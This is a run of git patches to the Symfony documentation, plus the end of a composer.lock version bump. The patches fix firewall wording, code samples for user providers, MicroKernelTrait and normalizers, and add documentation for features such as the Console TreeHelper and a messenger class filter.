                 "symfony/polyfill-intl-normalizer": "~1.0",
@@ -1553,11 +1555,12 @@
                 "symfony/translation-contracts": "<2.5"
             },
             "require-dev": {
-                "symfony/error-handler": "^5.4|^6.0|^7.0",
-                "symfony/http-client": "^5.4|^6.0|^7.0",
-                "symfony/intl": "^6.2|^7.0",
+                "symfony/emoji": "^7.1",
+                "symfony/error-handler": "^6.4|^7.0",
+                "symfony/http-client": "^6.4|^7.0",
+                "symfony/intl": "^6.4|^7.0",
                 "symfony/translation-contracts": "^2.5|^3.0",
-                "symfony/var-exporter": "^5.4|^6.0|^7.0"
+                "symfony/var-exporter": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1596,7 +1599,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.4.15"
+                "source": "https://github.com/symfony/string/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -1612,7 +1615,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-11-13T13:31:12+00:00"
+            "time": "2024-11-13T13:31:26+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1779,11 +1782,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=8.1"
+        "php": ">=8.3"
     },
     "platform-dev": {},
     "platform-overrides": {
-        "php": "8.1.0"
+        "php": "8.3"
     },
     "plugin-api-version": "2.6.0"
 }

From d802769826898db0def76c0cf1814c9b57b3033e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 17:32:40 +0100
Subject: [PATCH 6820/7107] [Security]: Removing duplicate sentence

Page: https://symfony.com/doc/6.4/security.html#the-firewall

Namely:
> Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
it matches *all* URLs).
---
 security.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index b725672dd5f..5fff8725f93 100644
--- a/security.rst
+++ b/security.rst
@@ -575,7 +575,8 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs).
+it matches *all* URLs). A firewall can have many modes of authentication,
+in other words, it enables many ways to ask the question "Who are you?".
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
@@ -630,10 +631,6 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
         The feature to use an array of regex was introduced in Symfony 6.4.
 
-All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
-
 Often, the user is unknown (i.e. not logged in) when they first visit your
 website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:

From 981b4e6fa1b9c8ad78b1dd349e666f53ceb56803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 17:51:46 +0100
Subject: [PATCH 6821/7107] Reword

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 5fff8725f93..fc0cf9c9377 100644
--- a/security.rst
+++ b/security.rst
@@ -575,8 +575,7 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
+it matches *all* URLs).
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
@@ -631,9 +630,10 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
         The feature to use an array of regex was introduced in Symfony 6.4.
 
-Often, the user is unknown (i.e. not logged in) when they first visit your
-website. If you visit your homepage right now, you *will* have access and
-you'll see that you're visiting a page behind the firewall in the toolbar:
+A firewall can have many modes of authentication, in other words, it enables many
+ways to ask the question "Who are you?". Often, the user is unknown (i.e. not logged in)
+when they first visit your website. If you visit your homepage right now, you *will*
+have access and you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :alt: The Symfony profiler toolbar where the Security information shows "Authenticated: no" and "Firewall name: main"

From 929ffc2b883af40fb5c2b681ee822275ad6e4710 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 20:34:37 +0100
Subject: [PATCH 6822/7107] [Security] Chain Providers: Fixing PHP code sample

Page: https://symfony.com/doc/6.4/security/user_providers.html#security-chain-user-provider

When passing in the variables, I got:
> Cannot use values of type "Symfony\Config\Security\ProviderConfig\EntityConfig" in service configuration files in .../config/packages/security.php (which is being imported from ".../src/Kernel.php").
---
 security/user_providers.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 09d47c270f2..7e9de36eff1 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -347,23 +347,23 @@ providers until the user is found:
         return static function (SecurityConfig $security): void {
             // ...
 
-            $backendProvider = $security->provider('backend_users')
+            $security->provider('backend_users')
                 ->ldap()
                 // ...
             ;
 
-            $legacyProvider = $security->provider('legacy_users')
+            $security->provider('legacy_users')
                 ->entity()
                 // ...
             ;
 
-            $userProvider = $security->provider('users')
+            $security->provider('users')
                 ->entity()
                 // ...
             ;
 
-            $allProviders = $security->provider('all_users')->chain()
-                ->providers([$backendProvider, $legacyProvider, $userProvider])
+            $security->provider('all_users')->chain()
+                ->providers(['backend_users', 'legacy_users', 'users'])
             ;
         };
 

From 20929b4a573a5cbf7bd344ffa2d08dece074a848 Mon Sep 17 00:00:00 2001
From: Julien Bonnier <noreply@julienbonnier.com>
Date: Sat, 22 Mar 2025 12:13:55 -0400
Subject: [PATCH 6823/7107] fix: Change translation domain name for bundle
 translation and add an example

---
 bundles/best_practices.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 376984388db..37dc386b8e4 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -397,10 +397,14 @@ Translation Files
 -----------------
 
 If a bundle provides message translations, they must be defined in the XLIFF
-format; the domain should be named after the bundle name (``acme_blog``).
+format; the domain should be named after the bundle name (``AcmeBlog``).
 
 A bundle must not override existing messages from another bundle.
 
+The translation domain must match the translation file names. For example,
+if the translation domain is ``AcmeBlog``, the English translation file name
+should be ``AcmeBlog.en.xlf``.
+
 Configuration
 -------------
 

From 78eaf0d0715259cdc4c212b277861296ba552c0e Mon Sep 17 00:00:00 2001
From: Lucas Mlsna <lmlsna@gmail.com>
Date: Sat, 22 Mar 2025 23:33:16 -0500
Subject: [PATCH 6824/7107] Update micro_kernel_trait.rst

Yielded classes in registerBundles() function example code require "new" keyword to work.

Also removed getLogDir() and getCacheDir() functions in example code (these functions are already defined in an identical way by the parent class).
---
 configuration/micro_kernel_trait.rst | 18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 62e8c2d4128..dbe8d1b27b9 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -260,11 +260,11 @@ Now it looks like this::
 
         public function registerBundles(): iterable
         {
-            yield FrameworkBundle();
-            yield TwigBundle();
+            yield new FrameworkBundle();
+            yield new TwigBundle();
 
             if ('dev' === $this->getEnvironment()) {
-                yield WebProfilerBundle();
+                yield new WebProfilerBundle();
             }
         }
 
@@ -305,18 +305,6 @@ Now it looks like this::
             // (use 'annotation' as the second argument if you define routes as annotations)
             $routes->import(__DIR__.'/Controller/', 'attribute');
         }
-
-        // optional, to use the standard Symfony cache directory
-        public function getCacheDir(): string
-        {
-            return __DIR__.'/../var/cache/'.$this->getEnvironment();
-        }
-
-        // optional, to use the standard Symfony logs directory
-        public function getLogDir(): string
-        {
-            return __DIR__.'/../var/log';
-        }
     }
 
 Before continuing, run this command to add support for the new dependencies:

From 0bf6bc3bd0ec2c9a806384e06b90a78fde226522 Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Sun, 23 Mar 2025 14:39:47 -0300
Subject: [PATCH 6825/7107] Fix documentation on router method option usage

---
 routing.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 68d6a30fc41..445f4a4d886 100644
--- a/routing.rst
+++ b/routing.rst
@@ -442,9 +442,6 @@ evaluates them:
     $ php bin/console debug:router --method=GET
     $ php bin/console debug:router --method=ANY
 
-    # pass the option more than once to display the routes that match all the given methods
-    $ php bin/console debug:router --method=GET --method=PATCH
-
 .. versionadded:: 7.3
 
     The ``--method`` option was introduced in Symfony 7.3.

From 2a2faa4f4689920cbade1fc1867e9f5e587794c7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 22:45:30 +0100
Subject: [PATCH 6826/7107] [HttpKernel] Support Uid in #[MapQueryParameter]

---
 controller.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/controller.rst b/controller.rst
index b33eed08360..693784885da 100644
--- a/controller.rst
+++ b/controller.rst
@@ -371,6 +371,11 @@ The ``MapQueryParameter`` attribute supports the following argument types:
 * ``float``
 * ``int``
 * ``string``
+* Objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`
+
+.. versionadded:: 7.3
+
+    The support of ``AbstractUid`` was introduced in Symfony 7.3.
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 996f3d374d798c1b5d76916018ba8aa9186681b5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 21:53:05 +0100
Subject: [PATCH 6827/7107] [Serializer] Add NumberNormalizer

---
 serializer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 7f2f7d7c2f1..18f1b06b92c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1387,6 +1387,14 @@ normalizers (in order of priority):
     By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NumberNormalizer`
+    This normalizer converts between :phpclass:`BcMath\Number` or :phpclass:`GMP` objects and
+    strings or integers.
+
+.. versionadded:: 7.2
+
+    The ``NumberNormalizer`` was introduced in Symfony 7.2.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
     This normalizer converts between :phpclass:`SplFileInfo` objects and a
     `data URI`_ string (``data:...``) such that files can be embedded into

From e24fb9a8b3176f6b07ed23c72df57a8742610001 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Mar 2025 19:19:44 +0100
Subject: [PATCH 6828/7107] [Scheduler] Add MessageHandler result to the
 PostRunEvent

---
 scheduler.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 0c6c14915c7..64a5a9f7612 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -723,10 +723,15 @@ after a message is consumed::
         $schedule = $event->getSchedule();
         $context = $event->getMessageContext();
         $message = $event->getMessage();
+        $result = $event->getResult();
 
-        // do something with the schedule, context or message
+        // do something with the schedule, context, message or result
     }
 
+.. versionadded:: 7.3
+
+    The ``getResult()`` method was introduced in Symfony 7.3.
+
 Execute this command to find out which listeners are registered for this event
 and their priorities:
 

From b67e277663beeb002583b470cd01670d4292621c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 09:19:44 +0100
Subject: [PATCH 6829/7107] Minor tweak

---
 configuration/micro_kernel_trait.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index dbe8d1b27b9..f919b1f7a74 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -305,6 +305,9 @@ Now it looks like this::
             // (use 'annotation' as the second argument if you define routes as annotations)
             $routes->import(__DIR__.'/Controller/', 'attribute');
         }
+
+        // optionally, you can define the getCacheDir() and getLogDir() methods
+        // to override the default locations for these directories
     }
 
 Before continuing, run this command to add support for the new dependencies:

From b95b1041d2840213468e1714d4a0d09cc39a9273 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 24 Mar 2025 11:41:00 +0300
Subject: [PATCH 6830/7107] Update custom_normalizer.rst

---
 serializer/custom_normalizer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index d6ba66f89b6..8072b590ced 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -33,9 +33,9 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, ?string $format = null, array $context = []): array
+        public function normalize(mixed $object, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($topic, $format, $context);
+            $data = $this->normalizer->normalize($object, $format, $context);
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [

From d9a48bea00bb340b407402a3f6ada1a265e5eba4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 21 Mar 2025 03:23:02 +0100
Subject: [PATCH 6831/7107] [Console] Document the `TreeHelper`

---
 components/console/helpers/map.rst.inc |   1 +
 components/console/helpers/tree.rst    | 237 +++++++++++++++++++++++++
 console/style.rst                      |  26 +++
 3 files changed, 264 insertions(+)
 create mode 100644 components/console/helpers/tree.rst

diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 8f9ce0ca0f3..b190d1dce44 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -3,5 +3,6 @@
 * :doc:`/components/console/helpers/progressbar`
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
+* :doc:`/components/console/helpers/tree`
 * :doc:`/components/console/helpers/debug_formatter`
 * :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
new file mode 100644
index 00000000000..2e688770c65
--- /dev/null
+++ b/components/console/helpers/tree.rst
@@ -0,0 +1,237 @@
+Tree Helper
+===========
+
+The Tree Helper allows you to build and display tree structures in the console.
+
+.. versionadded:: 7.3
+
+    The ``TreeHelper`` class was introduced in Symfony 7.3.
+
+Rendering a Tree
+----------------
+
+The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
+object that can be rendered in the console.
+
+Building a Tree from an Array
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can build a tree from an array by passing the array to the :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree`
+method::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+
+    $tree = TreeHelper::createTree($io, null, [
+        'src' =>  [
+            'Command',
+            'Controller' => [
+                'DefaultController.php',
+            ],
+            'Kernel.php',
+        ],
+        'templates' => [
+            'base.html.twig',
+        ],
+    ]);
+
+    $tree->render();
+
+The above code will output the following tree:
+
+.. code-block:: text
+
+    ├── src
+    │   ├── Command
+    │   ├── Controller
+    │   │   └── DefaultController.php
+    │   └── Kernel.php
+    └── templates
+        └── base.html.twig
+
+Manually Creating a Tree
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can manually create a tree by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
+
+    $node = TreeNode::fromValues([
+        'Command',
+        'Controller' => [
+            'DefaultController.php',
+        ],
+        'Kernel.php',
+    ]);
+    $node->addChild('templates');
+    $node->addChild('tests');
+
+    $tree = TreeHelper::createTree($io, $node);
+    $tree->render();
+
+Customizing the Tree Style
+--------------------------
+
+Built-in Tree Styles
+~~~~~~~~~~~~~~~~~~~~
+
+The tree helper provides a few built-in styles that you can use to customize the output of the tree.
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
+
+    .. code-block:: text
+
+        ├── config
+        │   ├── packages
+        │   └── routes
+        │      ├── framework.yaml
+        │      └── web_profiler.yaml
+        ├── src
+        │   ├── Command
+        │   ├── Controller
+        │   │   └── DefaultController.php
+        │   └── Kernel.php
+        └── templates
+           └── base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
+
+    .. code-block:: text
+
+        ┃╸ config
+        ┃  ┃╸ packages
+        ┃  ┗╸ routes
+        ┃     ┃╸ framework.yaml
+        ┃     ┗╸ web_profiler.yaml
+        ┃╸ src
+        ┃  ┃╸ Command
+        ┃  ┃╸ Controller
+        ┃  ┃  ┗╸ DefaultController.php
+        ┃  ┗╸ Kernel.php
+        ┗╸ templates
+           ┗╸ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
+
+    .. code-block:: text
+
+        ╠═ config
+        ║  ╠═ packages
+        ║  ╚═ routes
+        ║    ╠═ framework.yaml
+        ║    ╚═ web_profiler.yaml
+        ╠═ src
+        ║  ╠═ Command
+        ║  ╠═ Controller
+        ║  ║  ╚═ DefaultController.php
+        ║  ╚═ Kernel.php
+        ╚═ templates
+          ╚═ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
+
+    .. code-block:: text
+
+        ├ config
+        │ ├ packages
+        │ └ routes
+        │   ├ framework.yaml
+        │   └ web_profiler.yaml
+        ├ src
+        │ ├ Command
+        │ ├ Controller
+        │ │ └ DefaultController.php
+        │ └ Kernel.php
+        └ templates
+          └ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
+
+    .. code-block:: text
+
+        |-- config
+        |   |-- packages
+        |   `-- routes
+        |       |-- framework.yaml
+        |       `-- web_profiler.yaml
+        |-- src
+        |   |-- Command
+        |   |-- Controller
+        |   |   `-- DefaultController.php
+        |   `-- Kernel.php
+        `-- templates
+            `-- base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
+
+    .. code-block:: text
+
+        . config
+        . . packages
+        . . routes
+        .   . framework.yaml
+        .   . web_profiler.yaml
+        . src
+        . . Command
+        . . Controller
+        . . . DefaultController.php
+        . . Kernel.php
+        . templates
+          . base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
+
+    .. code-block:: text
+
+        ├─ config
+        │  ├─ packages
+        │  ╰─ routes
+        │     ├─ framework.yaml
+        │     ╰─ web_profiler.yaml
+        ├─ src
+        │  ├─ Command
+        │  ├─ Controller
+        │  │  ╰─ DefaultController.php
+        │  ╰─ Kernel.php
+        ╰─ templates
+           ╰─ base.html.twig
+
+Making a Custom Tree Style
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can create your own tree style by passing the characters to the constructor
+of the :class:`Symfony\\Component\\Console\\Helper\\TreeStyle` class::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeStyle;
+
+    $customStyle = new TreeStyle('🟣 ', '🟠 ', '🔵 ', '🟢 ', '🔴 ', '🟡 ');
+
+    // Pass the custom style to the createTree method
+
+    $tree = TreeHelper::createTree($io, null, [
+        'src' =>  [
+            'Command',
+            'Controller' => [
+                'DefaultController.php',
+            ],
+            'Kernel.php',
+        ],
+        'templates' => [
+            'base.html.twig',
+        ],
+    ], $customStyle);
+
+    $tree->render();
+
+The above code will output the following tree:
+
+.. code-block:: text
+
+    🔵 🟣 🟡 src
+    🔵 🟢 🟣 🟡 Command
+    🔵 🟢 🟣 🟡 Controller
+    🔵 🟢 🟢 🟠 🟡 DefaultController.php
+    🔵 🟢 🟠 🟡 Kernel.php
+    🔵 🟠 🟡 templates
+    🔵 🔴 🟠 🟡 base.html.twig
diff --git a/console/style.rst b/console/style.rst
index 0aaaa3f675e..e1e5df38ffe 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -169,6 +169,32 @@ Content Methods
     styled according to the Symfony Style Guide, which allows you to use
     features such as dynamically appending rows.
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::tree`
+    It displays the given nested array as a formatted directory/file tree
+    structure in the console output::
+
+        $io->tree([
+            'src' =>  [
+                'Controller' => [
+                    'DefaultController.php',
+                ],
+                'Kernel.php',
+            ],
+            'templates' => [
+                'base.html.twig',
+            ],
+        ]);
+
+.. versionadded:: 7.3
+
+    The ``SymfonyStyle::tree()`` and the ``SymfonyStyle::createTree()`` methods
+    were introduced in Symfony 7.3.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTree`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\TreeHelper`
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as dynamically nesting nodes.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper

From a0758ac62303e037fb903ba59fe807fd798f561d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 09:52:46 +0100
Subject: [PATCH 6832/7107] Tweaks

---
 components/console/helpers/tree.rst | 86 +++++++++++++++++++++++------
 1 file changed, 68 insertions(+), 18 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 2e688770c65..4203f8bc790 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -2,6 +2,8 @@ Tree Helper
 ===========
 
 The Tree Helper allows you to build and display tree structures in the console.
+It's commonly used to render directory hierarchies, but you can also use it to render
+any tree-like content, such us organizational charts, product category trees, taxonomies, etc.
 
 .. versionadded:: 7.3
 
@@ -10,16 +12,62 @@ The Tree Helper allows you to build and display tree structures in the console.
 Rendering a Tree
 ----------------
 
-The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
+The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method
+creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
 object that can be rendered in the console.
 
-Building a Tree from an Array
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Rendering a Tree from an Array
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can build a tree from an array by passing the array to the
+:method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method
+inside your console command::
 
-You can build a tree from an array by passing the array to the :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree`
-method::
+    namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+    use Symfony\Component\Console\Style\SymfonyStyle;
     use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
+
+    #[AsCommand(name: 'app:some-command', description: '...')]
+    class SomeCommand extends Command
+    {
+        // ...
+
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $io = new SymfonyStyle($input, $output);
+
+            $node = TreeNode::fromValues([
+                'config/',
+                'public/',
+                'src/',
+                'templates/',
+                'tests/',
+            ]);
+
+            $tree = TreeHelper::createTree($io, $node);
+            $tree->render();
+
+            // ...
+        }
+    }
+
+This exampe would output the following:
+
+.. code-block:: terminal
+
+    ├── config/
+    ├── public/
+    ├── src/
+    ├── templates/
+    └── tests/
+
+The given contents can be defined in a multi-dimensional array:
 
     $tree = TreeHelper::createTree($io, null, [
         'src' =>  [
@@ -38,7 +86,7 @@ method::
 
 The above code will output the following tree:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ├── src
     │   ├── Command
@@ -48,10 +96,11 @@ The above code will output the following tree:
     └── templates
         └── base.html.twig
 
-Manually Creating a Tree
-~~~~~~~~~~~~~~~~~~~~~~~~
+Building and Rendering a Tree
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can manually create a tree by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+You can build a tree by creating a new instance of the
+:class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
 
     use Symfony\Component\Console\Helper\TreeHelper;
     use Symfony\Component\Console\Helper\TreeNode;
@@ -75,11 +124,12 @@ Customizing the Tree Style
 Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
-The tree helper provides a few built-in styles that you can use to customize the output of the tree.
+The tree helper provides a few built-in styles that you can use to customize the
+output of the tree.
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├── config
         │   ├── packages
@@ -96,7 +146,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ┃╸ config
         ┃  ┃╸ packages
@@ -113,7 +163,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ╠═ config
         ║  ╠═ packages
@@ -130,7 +180,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├ config
         │ ├ packages
@@ -147,7 +197,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         |-- config
         |   |-- packages
@@ -164,7 +214,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         . config
         . . packages
@@ -181,7 +231,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├─ config
         │  ├─ packages
@@ -226,7 +276,7 @@ of the :class:`Symfony\\Component\\Console\\Helper\\TreeStyle` class::
 
 The above code will output the following tree:
 
-.. code-block:: text
+.. code-block:: terminal
 
     🔵 🟣 🟡 src
     🔵 🟢 🟣 🟡 Command

From 16861e3df96cedc24460d3a134c34e7278ac8624 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Mon, 24 Mar 2025 13:14:22 +0100
Subject: [PATCH 6833/7107] order use statements alphabetically

---
 components/console/helpers/tree.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 4203f8bc790..ae0c24ff01f 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -27,11 +27,11 @@ inside your console command::
 
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
     use Symfony\Component\Console\Style\SymfonyStyle;
-    use Symfony\Component\Console\Helper\TreeHelper;
-    use Symfony\Component\Console\Helper\TreeNode;
 
     #[AsCommand(name: 'app:some-command', description: '...')]
     class SomeCommand extends Command

From bdca4e901550d29fd3ec5c38adb02365459b1460 Mon Sep 17 00:00:00 2001
From: Arnaud De Abreu <arnaud.deabreu@nodelia.com>
Date: Mon, 24 Mar 2025 09:25:46 +0100
Subject: [PATCH 6834/7107] [Messenger] Add `--class-filter` option to the
 `messenger:failed:remove` command

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6d1602f410c..8632ebdb4e0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1312,6 +1312,9 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
+    # remove only MyClass messages
+    $ php bin/console messenger:failed:remove --class-filter='MyClass'
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -1321,6 +1324,11 @@ retry has been hit, the message will be discarded permanently.
     The option to skip a message in the ``messenger:failed:retry`` command was
     introduced in Symfony 7.2
 
+.. versionadded:: 7.3
+
+    The option to filter by a message class in the ``messenger:failed:remove`` command was
+    introduced in Symfony 7.3
+
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

